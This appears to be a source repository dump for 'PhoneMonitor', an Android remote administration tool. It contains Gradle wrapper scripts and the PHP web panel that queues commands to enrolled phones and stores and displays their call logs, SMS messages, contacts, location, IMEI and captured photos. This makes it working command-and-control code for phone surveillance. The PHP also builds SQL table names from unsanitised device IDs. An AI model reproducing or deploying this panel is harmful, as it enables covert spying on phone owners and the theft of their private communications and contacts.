darwin=false 33 | case "`uname`" in 34 | CYGWIN* ) 35 | cygwin=true 36 | ;; 37 | Darwin* ) 38 | darwin=true 39 | ;; 40 | MINGW* ) 41 | msys=true 42 | ;; 43 | esac 44 | 45 | # Attempt to set APP_HOME 46 | # Resolve links: $0 may be a link 47 | PRG="$0" 48 | # Need this for relative symlinks. 49 | while [ -h "$PRG" ] ; do 50 | ls=`ls -ld "$PRG"` 51 | link=`expr "$ls" : '.*-> \(.*\)$'` 52 | if expr "$link" : '/.*' > /dev/null; then 53 | PRG="$link" 54 | else 55 | PRG=`dirname "$PRG"`"/$link" 56 | fi 57 | done 58 | SAVED="`pwd`" 59 | cd "`dirname \"$PRG\"`/" >/dev/null 60 | APP_HOME="`pwd -P`" 61 | cd "$SAVED" >/dev/null 62 | 63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 64 | 65 | # Determine the Java command to use to start the JVM. 66 | if [ -n "$JAVA_HOME" ] ; then 67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 68 | # IBM's JDK on AIX uses strange locations for the executables 69 | JAVACMD="$JAVA_HOME/jre/sh/java" 70 | else 71 | JAVACMD="$JAVA_HOME/bin/java" 72 | fi 73 | if [ ! -x "$JAVACMD" ] ; then 74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 75 | 76 | Please set the JAVA_HOME variable in your environment to match the 77 | location of your Java installation." 78 | fi 79 | else 80 | JAVACMD="java" 81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 82 | 83 | Please set the JAVA_HOME variable in your environment to match the 84 | location of your Java installation." 85 | fi 86 | 87 | # Increase the maximum file descriptors if we can. 88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then 89 | MAX_FD_LIMIT=`ulimit -H -n` 90 | if [ $? -eq 0 ] ; then 91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 92 | MAX_FD="$MAX_FD_LIMIT" 93 | fi 94 | ulimit -n $MAX_FD 95 | if [ $? -ne 0 ] ; then 96 | warn "Could not set maximum file descriptor limit: $MAX_FD" 97 | fi 98 | else 99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 100 | fi 101 | fi 102 | 103 | # For Darwin, add options to specify how the application appears in the dock 104 | if $darwin; then 105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 106 | fi 107 | 108 | # For Cygwin, switch paths to Windows format before running java 109 | if $cygwin ; then 110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 112 | JAVACMD=`cygpath --unix "$JAVACMD"` 113 | 114 | # We build the pattern for arguments to be converted via cygpath 115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 116 | SEP="" 117 | for dir in $ROOTDIRSRAW ; do 118 | ROOTDIRS="$ROOTDIRS$SEP$dir" 119 | SEP="|" 120 | done 121 | OURCYGPATTERN="(^($ROOTDIRS))" 122 | # Add a user-defined pattern to the cygpath arguments 123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 125 | fi 126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 127 | i=0 128 | for arg in "$@" ; do 129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 131 | 132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 134 | else 135 | eval `echo args$i`="\"$arg\"" 136 | fi 137 | i=$((i+1)) 138 | done 139 | case $i in 140 | (0) set -- ;; 141 | (1) set -- "$args0" ;; 142 | (2) set -- "$args0" "$args1" ;; 143 | (3) set -- "$args0" "$args1" "$args2" ;; 144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 150 | esac 151 | fi 152 | 153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules 154 | function splitJvmOpts() { 155 | JVM_OPTS=("$@") 156 | } 157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS 158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" 159 | 160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@" 161 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 12 | set DEFAULT_JVM_OPTS= 13 | 14 | set DIRNAME=%~dp0 15 | if "%DIRNAME%" == "" set DIRNAME=. 16 | set APP_BASE_NAME=%~n0 17 | set APP_HOME=%DIRNAME% 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windowz variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | if "%@eval[2+2]" == "4" goto 4NT_args 53 | 54 | :win9xME_args 55 | @rem Slurp the command line arguments. 56 | set CMD_LINE_ARGS= 57 | set _SKIP=2 58 | 59 | :win9xME_args_slurp 60 | if "x%~1" == "x" goto execute 61 | 62 | set CMD_LINE_ARGS=%* 63 | goto execute 64 | 65 | :4NT_args 66 | @rem Get arguments from the 4NT Shell from JP Software 67 | set CMD_LINE_ARGS=%$ 68 | 69 | :execute 70 | @rem Setup the command line 71 | 72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 73 | 74 | @rem Execute Gradle 75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 76 | 77 | :end 78 | @rem End local scope for the variables with windows NT shell 79 | if "%ERRORLEVEL%"=="0" goto mainEnd 80 | 81 | :fail 82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 83 | rem the _cmd.exe /c_ return code! 84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 85 | exit /b 1 86 | 87 | :mainEnd 88 | if "%OS%"=="Windows_NT" endlocal 89 | 90 | :omega 91 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PhoneMonitor 2 | A Remote Administration Tool for Android devices.
3 | The Minimum SDK version for the app is API 15 and by its nature, the Target API level makes sense to be 21. 4 |


5 |

Instructions:

6 | 11 |
12 | 19 |
20 | 23 |
24 | Check the Wiki for more information. 25 | -------------------------------------------------------------------------------- /Webpanel/authenticate.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Webpanel/clientlist.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | PhoneMonitor Clients 23 | 24 | 25 | 26 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | connect_errno==0) 62 | { 63 | $response=$conn->query($getclientlistquery); 64 | if($response) 65 | { 66 | $row_num=0; 67 | echo(""); 68 | while($row=$response->fetch_assoc()) 69 | { 70 | echo(""); 71 | echo("".""."" 72 | .""."".""."".""); 74 | echo(""); 75 | } 76 | echo(""); 77 | } 78 | } 79 | ?> 80 |
SNNumberIMEIManufacturerModelUnique IdLast SeenCommand
".++$row_num."".$row['Number']."".$row['IMEI']."".$row['Manufacturer']."".$row['Model']."".$row['UniqueId'] 73 | ."".date('h:i:s a | l, F j, Y',strtotime($row['LastSeen']))."
81 | 117 | 118 | 150 | 151 | 160 | 161 | 190 | 191 | 321 | 322 | 323 | -------------------------------------------------------------------------------- /Webpanel/commandlist.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | Commands history 24 | 25 | 26 | 27 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | connect_errno==0) 67 | { 68 | $response=$conn->query($getcommandlistquery); 69 | if($response) 70 | { 71 | $row_num=0; 72 | echo(""); 73 | while($row=$response->fetch_assoc()) 74 | { 75 | echo(""); 76 | echo(""."".""."".""."" 80 | .""."" 81 | .""."" 82 | .""); 84 | } 85 | echo(""); 86 | } 87 | } 88 | ?> 89 |
SNDevice UIDCommand IdPendingAddedExecutedParam1Param2Param3Param4Result
".++$row_num."".$row['DeviceUniqueId']."" 77 | .$row['CommandId']."".$row['Pending']."" 78 | .date('h:i:s a | l, F j, Y',strtotime($row['AddedDateTime']))."" 79 | .date('h:i:s a | l, F j, Y',strtotime($row['ExecutedDateTime']))."".$row['Param1']."".$row['Param2']."".$row['Param3']."".$row['Param4']."".$row['Result']); 83 | echo("
90 | 91 | 92 | -------------------------------------------------------------------------------- /Webpanel/deleteimage.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Webpanel/displaycalllogs.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Call logs 23 | 24 | 25 | 26 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | connect_errno==0) 60 | { 61 | $deviceUID=$conn->escape_string($_GET['deviceuid']); 62 | $getoutputlistquery="SELECT * FROM CALLLOG_$deviceUID"; 63 | $response=$conn->query($getoutputlistquery); 64 | if($response) 65 | { 66 | $row_num=0; 67 | echo(""); 68 | while($row=$response->fetch_assoc()) 69 | { 70 | echo(""); 71 | echo("".""."".""."".""); 75 | echo(""); 76 | } 77 | echo(""); 78 | } 79 | } 80 | ?> 81 |
SNNumberTypeDateDurationName
".++$row_num."".$row['Number']."" 72 | .$row['Type']."".date('h:i:s a | l, F j, Y',strtotime($row['Date'])) 73 | ."".convertSecToHMS($row['Duration'])."" 74 | .$row['Name']."
82 | 83 | 84 | -------------------------------------------------------------------------------- /Webpanel/displaycontacts.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | Contacts 35 | 36 | 37 | 38 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | connect_errno==0) 71 | { 72 | $deviceUID=$conn->escape_string($_GET['deviceuid']); 73 | $getoutputlistquery="SELECT * FROM CONTACTS_$deviceUID"; 74 | $response=$conn->query($getoutputlistquery); 75 | if($response) 76 | { 77 | $row_num=0; 78 | echo(""); 79 | while($row=$response->fetch_assoc()) 80 | { 81 | echo(""."".""."" 83 | .""); 84 | echo(""); 85 | } 86 | echo(""); 87 | } 88 | } 89 | ?> 90 |
SNNameNumberLast ContactedTimes Contacted
".++$row_num."".$row['Name']."" 82 | .$row['Number']."".date('h:i:s a | D, M j, Y',strtotime($row['LastContacted']))."".$row['TimesContacted']."
91 | 92 | 93 | -------------------------------------------------------------------------------- /Webpanel/displayphotos.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Captured photos 23 | 24 | 25 | 26 | 44 | 45 | 68 | 69 | 70 | $filename) 104 | { 105 | echo(""); 113 | } 114 | } 115 | 116 | } 117 | 118 | ?> 119 | 120 | 151 | 152 | 153 | -------------------------------------------------------------------------------- /Webpanel/displaysmsconversation.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | SMS Conversation 23 | 24 | 25 | 26 | 44 | 45 | 62 | 63 |
64 | connect_errno==0) 69 | { 70 | $deviceUID=$conn->escape_string($_GET['deviceuid']); 71 | $threadId=$conn->escape_string($_GET['threadid']); 72 | $getoutputlistquery="SELECT * FROM SMSES_$deviceUID WHERE ThreadId=$threadId ORDER BY Date DESC"; 73 | $response=$conn->query($getoutputlistquery); 74 | if($response) 75 | { 76 | while($row=$response->fetch_assoc()) 77 | { 78 | $message=$row['Message'] ; 79 | $date=date('h:i:s a | D, M j, Y',strtotime($row['Date'])); 80 | $type=$row['Type']; 81 | switch($type) 82 | { 83 | case 'Inbox': 84 | echo('
85 |
' 86 | .nl2br(wordwrap($message, 60, "\n")) 87 | .'
' 88 | .$date.'
' 89 | ); 90 | break; 91 | default: 92 | echo('
93 |
' 94 | .nl2br(wordwrap($message,60,"\n")) 95 | .'
' 96 | .$date.'
' 97 | ); 98 | break; 99 | } 100 | } 101 | } 102 | } 103 | ?> 104 |
105 | 106 | -------------------------------------------------------------------------------- /Webpanel/displaysmses.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | SMS Messages 23 | 24 | 25 | 26 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | connect_errno==0) 61 | { 62 | $deviceUID=$conn->escape_string($_GET['deviceuid']); 63 | $getoutputlistquery="SELECT * FROM SMSES_$deviceUID"; 64 | $response=$conn->query($getoutputlistquery); 65 | if($response) 66 | { 67 | $row_num=0; 68 | echo(""); 69 | while($row=$response->fetch_assoc()) 70 | { 71 | echo(''); 73 | echo(""."".""."" 75 | .""."".""); 77 | echo(""); 78 | } 79 | echo(""); 80 | } 81 | } 82 | ?> 83 |
SNNumberTypeDateMessageStatusName
".++$row_num."".$row['Number']."" 74 | .$row['Type']."".date('h:i:s a | D, M j, Y',strtotime($row['Date']))."".truncateMsg($row['Message'])."".($row['ReadStatus']==1?'Read':'Unread') 76 | ."".$row['Name']."
84 | 85 | 86 | -------------------------------------------------------------------------------- /Webpanel/getcommands.php: -------------------------------------------------------------------------------- 1 | connect_errno==0){ 9 | CreateCommandlistTableIfNotExists($conn); 10 | $uniqueid=$conn->escape_string($_POST['uniqueid']); 11 | $getpendingcommandsquery="SELECT CommandId, Param1, Param2, Param3, Param4 FROM commandlist 12 | WHERE DeviceUniqueId='$uniqueid' AND Pending=1"; 13 | $response=$conn->query($getpendingcommandsquery); 14 | if($response->num_rows>0) 15 | { 16 | $outputjsonarray=array(); 17 | while($row=$response->fetch_assoc()) 18 | { 19 | $commandid=$row['CommandId']; 20 | $param1=$row['Param1']; 21 | $param2=$row['Param2']; 22 | $param3=$row['Param3']; 23 | $param4=$row['Param4']; 24 | $outputjsonarray[]=array('commandid'=>$commandid, 'param1'=>$param1, 'param2'=>$param2, 25 | 'param3'=>$param3, 'param4'=>$param4); 26 | } 27 | echo(json_encode($outputjsonarray)); 28 | } 29 | } 30 | else 31 | { 32 | echo("Error connecting to database! $conn->connect_errno"); 33 | } 34 | } 35 | } 36 | exit(); 37 | ?> -------------------------------------------------------------------------------- /Webpanel/getsettings.php: -------------------------------------------------------------------------------- 1 | connect_errno==0){ 8 | CreateSettingsTableIfNotExists($conn); 9 | $uniqueid=$conn->escape_string($_POST['uniqueid']); 10 | $getsettingsquery="SELECT * FROM settings WHERE DeviceUniqueId='$uniqueid'"; 11 | $response=$conn->query($getsettingsquery); 12 | if($response->num_rows>0) 13 | { 14 | if($row=$response->fetch_assoc()){ 15 | $forceWifiOnForRecordUpload=$row['ForceWifiOnForRecordUpload']; 16 | $serverTalkInterval=$row['ServerTalkInterval']; 17 | 18 | $outputjsonobject=array('ForceWifiOnForRecordUpload'=>$forceWifiOnForRecordUpload, 19 | 'ServerTalkInterval'=>$serverTalkInterval); 20 | 21 | echo(json_encode($outputjsonobject)); 22 | } 23 | else 24 | { 25 | echo('No row in settings table'); 26 | } 27 | 28 | } 29 | } 30 | else 31 | { 32 | echo("Error connecting to database! $conn->connect_errno"); 33 | } 34 | } 35 | 36 | exit(); 37 | ?> -------------------------------------------------------------------------------- /Webpanel/helperfuncs.php: -------------------------------------------------------------------------------- 1 | connect_errno==0) 12 | { 13 | CreateUsersTableIfNotExists($conn); 14 | $username_escaped=$conn->escape_string($username); 15 | $getusersquery="SELECT * FROM users WHERE Username='$username_escaped'"; 16 | $response=$conn->query($getusersquery); 17 | if($response) 18 | { 19 | while($row=$response->fetch_assoc()) 20 | { 21 | if($row['Approved']==1) 22 | { 23 | if(password_verify($password, $row['Passwordhash'])) 24 | { 25 | return 'Ok'; 26 | } 27 | else 28 | { 29 | return 'Wrong password'; 30 | } 31 | } 32 | else 33 | { 34 | return 'User not approved yet'; 35 | } 36 | } 37 | } 38 | } 39 | else 40 | { 41 | return 'Cannot connect to database'; 42 | } 43 | return 'User does not exist!'; 44 | } 45 | 46 | function CreateUsersTableIfNotExists(&$conn) 47 | { 48 | $checktablequery="SHOW TABLES LIKE 'users'";//show tables like 'users', basically checks if the table exists 49 | $response=$conn->query($checktablequery); 50 | if(isset($response->num_rows) && $response->num_rows==0) 51 | { 52 | //table doesn't exist 53 | $createmaintablequery="CREATE TABLE users ( 54 | Username VARCHAR(255) NOT NULL, Passwordhash VARCHAR(255), Approved Boolean, UNIQUE (Username))"; 55 | if(!$conn->query($createmaintablequery))//create new table 56 | { 57 | //if error during the creation process 58 | echo("Table creation error! $conn->error"); 59 | $conn->close(); 60 | exit(); 61 | } 62 | } 63 | } 64 | 65 | function CreateClientlistTableIfNotExists(&$conn) 66 | { 67 | $checktablequery="SHOW TABLES LIKE 'clientlist'";//show tables like 'clientlist', basically checks if the table exists 68 | $response=$conn->query($checktablequery); 69 | if(isset($response->num_rows) && $response->num_rows==0) 70 | { 71 | //table doesn't exist 72 | $createmaintablequery="CREATE TABLE clientlist ( 73 | Number VARCHAR(30), IMEI VARCHAR(30), Manufacturer VARCHAR(30), Model VARCHAR(30), 74 | UniqueId VARCHAR(255), LastSeen DATETIME NOT NULL, UNIQUE (IMEI, UniqueId))"; 75 | if(!$conn->query($createmaintablequery))//create new table 76 | { 77 | //if error during the creation process 78 | echo("Table creation error! $conn->error"); 79 | $conn->close(); 80 | exit(); 81 | } 82 | } 83 | } 84 | 85 | function CreateCommandlistTableIfNotExists(&$conn) 86 | { 87 | $checktablequery="SHOW TABLES LIKE 'commandlist'";//show tables like 'commandlist', basically checks if the table exists 88 | $response=$conn->query($checktablequery); 89 | if(isset($response->num_rows) && $response->num_rows==0) 90 | { 91 | //table doesn't exist 92 | $createmaintablequery="CREATE TABLE commandlist ( 93 | DeviceUniqueId VARCHAR(255), CommandId INT, Pending BOOLEAN, AddedDateTime DATETIME, 94 | ExecutedDateTime DATETIME, Param1 TEXT, Param2 TEXT, Param3 TEXT, Param4 TEXT, Result TEXT)"; 95 | if(!$conn->query($createmaintablequery))//create new table 96 | { 97 | //if error during the creation process 98 | echo("Table creation error! $conn->error"); 99 | $conn->close(); 100 | exit(); 101 | } 102 | } 103 | } 104 | 105 | function CreateSettingsTableIfNotExists(&$conn) 106 | { 107 | $checktablequery="SHOW TABLES LIKE 'settings'";//show tables like 'settings', basically checks if the table exists 108 | $response=$conn->query($checktablequery); 109 | if(isset($response->num_rows) && $response->num_rows==0) 110 | { 111 | //table doesn't exist 112 | $createtablequery="CREATE TABLE settings ( 113 | DeviceUniqueId VARCHAR(255), ForceWifiOnForRecordUpload BOOLEAN, ServerTalkInterval INT, UNIQUE(DeviceUniqueId))"; 114 | if(!$conn->query($createtablequery))//create new table 115 | { 116 | //if error during the creation process 117 | echo("Table creation error! $conn->error"); 118 | $conn->close(); 119 | exit(); 120 | } 121 | } 122 | } 123 | 124 | function getCommandString($commandId) 125 | { 126 | $retval=''; 127 | switch($commandId) 128 | { 129 | case '0': 130 | $retval = 'Vibrate'; 131 | break; 132 | case '1': 133 | $retval = 'Call'; 134 | break; 135 | case '2': 136 | $retval = 'SMS'; 137 | break; 138 | case '3': 139 | $retval = 'Location'; 140 | break; 141 | case '4': 142 | $retval = 'Call log'; 143 | break; 144 | case '5': 145 | $retval = 'SMS messages'; 146 | break; 147 | case '6': 148 | $retval = 'Contacts'; 149 | break; 150 | case '7': 151 | $retval = 'Photos'; 152 | break; 153 | } 154 | $retval.=' ('.$commandId.')'; 155 | return $retval; 156 | } 157 | 158 | function getResultString($result,$commandId,$deviceuid) 159 | { 160 | global $DB_NAME,$DB_USERNAME,$DB_PASSWORD,$DB_HOST; 161 | //depending on $commandId, decides whether to return $result w/o any modification or to put its content into 162 | //a file/table and return an tag that points to its location 163 | switch($commandId) 164 | { 165 | case 4://calllogs 166 | $call_log_jsonArray=json_decode($result,true); 167 | $conn=@new mysqli($DB_HOST,$DB_USERNAME,$DB_PASSWORD,$DB_NAME); 168 | if($conn->connect_errno==0) 169 | { 170 | $droptableifexistsquery="DROP TABLE IF EXISTS CALLLOG_$deviceuid"; 171 | $conn->query($droptableifexistsquery); 172 | $createtablequery="CREATE TABLE CALLLOG_$deviceuid (Number VARCHAR(30), Type VARCHAR(30), 173 | Date DATETIME, Duration INT, Name VARCHAR(30))"; 174 | $response=$conn->query($createtablequery); 175 | 176 | if($response) 177 | { 178 | $insertqueryinit="INSERT INTO CALLLOG_$deviceuid VALUES"; 179 | $valuesarray=array(); 180 | foreach ($call_log_jsonArray as $call_log_jsonObject) 181 | { 182 | $number=$conn->escape_string($call_log_jsonObject['Number']); 183 | $type=$conn->escape_string($call_log_jsonObject['Type']); 184 | date_default_timezone_set('Asia/Kathmandu'); 185 | $date=$conn->escape_string(date("Y-m-d H:i:s", $call_log_jsonObject['Date']/1000)); 186 | $duration=$conn->escape_string($call_log_jsonObject['Duration']); 187 | 188 | if(isset($call_log_jsonObject['Name']))//failure to check this cost me 5 hours of debugging and installing phpstorm 189 | $name=$conn->escape_string($call_log_jsonObject['Name']);//upon digging further, turns out accessing a non-existent element in a JSON object messes more than ~70 times makes your php script go haywire. the execution would just stop; xdebug, helpless and useless in such case 190 | else 191 | $name=''; 192 | 193 | $valuesarray[]=" ('$number', '$type', '$date', $duration, '$name')"; 194 | } 195 | $insertqueryfinal=$insertqueryinit.implode(',',$valuesarray); 196 | $response=$conn->query($insertqueryfinal); 197 | if($response) 198 | { 199 | $retval=' 200 | '; 201 | } 202 | } 203 | } 204 | 205 | break; 206 | case 5://sms messages 207 | $smses_jsonArray=json_decode($result,true); 208 | $conn=@new mysqli($DB_HOST,$DB_USERNAME,$DB_PASSWORD,$DB_NAME); 209 | if($conn->connect_errno==0) 210 | { 211 | $droptableifexistsquery="DROP TABLE IF EXISTS SMSES_$deviceuid"; 212 | $conn->query($droptableifexistsquery); 213 | $createtablequery="CREATE TABLE SMSES_$deviceuid (Number VARCHAR(30), Type VARCHAR(30), 214 | Date DATETIME, Message TEXT, ReadStatus BOOLEAN, ThreadId INT, 215 | Name VARCHAR(30))"; 216 | $response=$conn->query($createtablequery); 217 | 218 | if($response) 219 | { 220 | $insertqueryinit="INSERT INTO SMSES_$deviceuid VALUES"; 221 | $valuesarray=array(); 222 | foreach ($smses_jsonArray as $sms_jsonObject) 223 | { 224 | $number=$conn->escape_string($sms_jsonObject['Address']); 225 | $type=$conn->escape_string($sms_jsonObject['Type']); 226 | date_default_timezone_set('Asia/Kathmandu'); 227 | $date=$conn->escape_string(date("Y-m-d H:i:s", $sms_jsonObject['Date']/1000)); 228 | $message=$conn->escape_string($sms_jsonObject['Body']); 229 | $readstatus=$conn->escape_string($sms_jsonObject['ReadStatus']); 230 | $threadid=$conn->escape_string($sms_jsonObject['ThreadId']); 231 | $personname=$conn->escape_string($sms_jsonObject['PersonName']); 232 | 233 | $valuesarray[]=" ('$number', '$type', '$date', '$message', $readstatus, $threadid, '$personname')"; 234 | } 235 | $insertqueryfinal=$insertqueryinit.implode(',',$valuesarray); 236 | $response=$conn->query($insertqueryfinal); 237 | if($response) 238 | { 239 | $retval=' 240 | '; 241 | } 242 | } 243 | } 244 | 245 | break; 246 | case 6://contacts 247 | $contacts_jsonArray=json_decode($result,true); 248 | $conn=@new mysqli($DB_HOST,$DB_USERNAME,$DB_PASSWORD,$DB_NAME); 249 | if($conn->connect_errno==0) 250 | { 251 | $droptableifexistsquery="DROP TABLE IF EXISTS CONTACTS_$deviceuid"; 252 | $conn->query($droptableifexistsquery); 253 | $createtablequery="CREATE TABLE CONTACTS_$deviceuid (Name VARCHAR(30), Number VARCHAR(30), 254 | LastContacted DATETIME, TimesContacted INT, UNIQUE(Name,Number))"; 255 | $response=$conn->query($createtablequery); 256 | 257 | if($response) 258 | { 259 | $insertqueryinit="INSERT IGNORE INTO CONTACTS_$deviceuid VALUES"; 260 | $valuesarray=array(); 261 | foreach ($contacts_jsonArray as $contact_jsonObject) 262 | { 263 | $name=$conn->escape_string($contact_jsonObject['Name']); 264 | $number=$conn->escape_string($contact_jsonObject['Number']); 265 | date_default_timezone_set('Asia/Kathmandu'); 266 | $lastcontacted=$conn->escape_string(date("Y-m-d H:i:s", $contact_jsonObject['LastContacted']/1000)); 267 | $timescontacted=$conn->escape_string($contact_jsonObject['TimesContacted']); 268 | 269 | $valuesarray[]=" ('$name', '$number', '$lastcontacted', $timescontacted)"; 270 | } 271 | $insertqueryfinal=$insertqueryinit.implode(',',$valuesarray); 272 | $response=$conn->query($insertqueryfinal); 273 | if($response) 274 | { 275 | $retval=' 276 | '; 277 | } 278 | } 279 | } 280 | break; 281 | case 7://photos captured 282 | $retval='No photos were uploaded'; 283 | $photos_jsonArray=json_decode($result,true); 284 | if($photos_jsonArray!=NULL)//NULL if JSON cannot be decoded 285 | { 286 | foreach ($photos_jsonArray as $photo_jsonObject) 287 | { 288 | if($photo_jsonObject!=NULL) 289 | { 290 | $timestamp=$photo_jsonObject['Timestamp']; 291 | $imagebase64=$photo_jsonObject['ImageBase64']; 292 | 293 | $saveasfilename=safeBase64Encode($deviceuid).'_'.safeBase64Encode($timestamp).'.jpg'; 294 | $filestream=fopen($saveasfilename,'wb'); 295 | if($filestream) 296 | { 297 | fwrite($filestream, base64_decode($imagebase64)); 298 | fclose($filestream); 299 | } 300 | } 301 | 302 | 303 | } 304 | 305 | 306 | $retval=' 307 | '; 308 | } 309 | 310 | 311 | break; 312 | default: 313 | $retval=$result; 314 | break; 315 | } 316 | return $retval; 317 | } 318 | 319 | function safeBase64Encode($string) 320 | { 321 | $primaryencoded=base64_encode($string); 322 | $finalencoded=str_replace('/','-',$primaryencoded); 323 | return $finalencoded; 324 | } 325 | 326 | function safeBase64Decode($encodedString) 327 | { 328 | $processed=str_replace('-','/',$encodedString); 329 | $decoded=base64_decode($processed,true); 330 | return $decoded; 331 | } 332 | 333 | function convertSecToHMS($seconds_) 334 | { 335 | $hours = floor($seconds_/3600); 336 | $minutes = floor(($seconds_ - $hours*3600)/60); 337 | $seconds = $seconds_ - ($hours*3600 + $minutes*60); 338 | return "{$hours}h {$minutes}m {$seconds}s"; 339 | } 340 | 341 | function truncateMsg($smsbody) 342 | { 343 | $processed=str_replace(array("\n","\r"), array(" "), substr($smsbody,0,30)); 344 | return $processed.(strlen($smsbody)>30?' ...':''); 345 | } 346 | 347 | ?> 348 | -------------------------------------------------------------------------------- /Webpanel/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Webpanel/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Webpanel/main.php: -------------------------------------------------------------------------------- 1 | 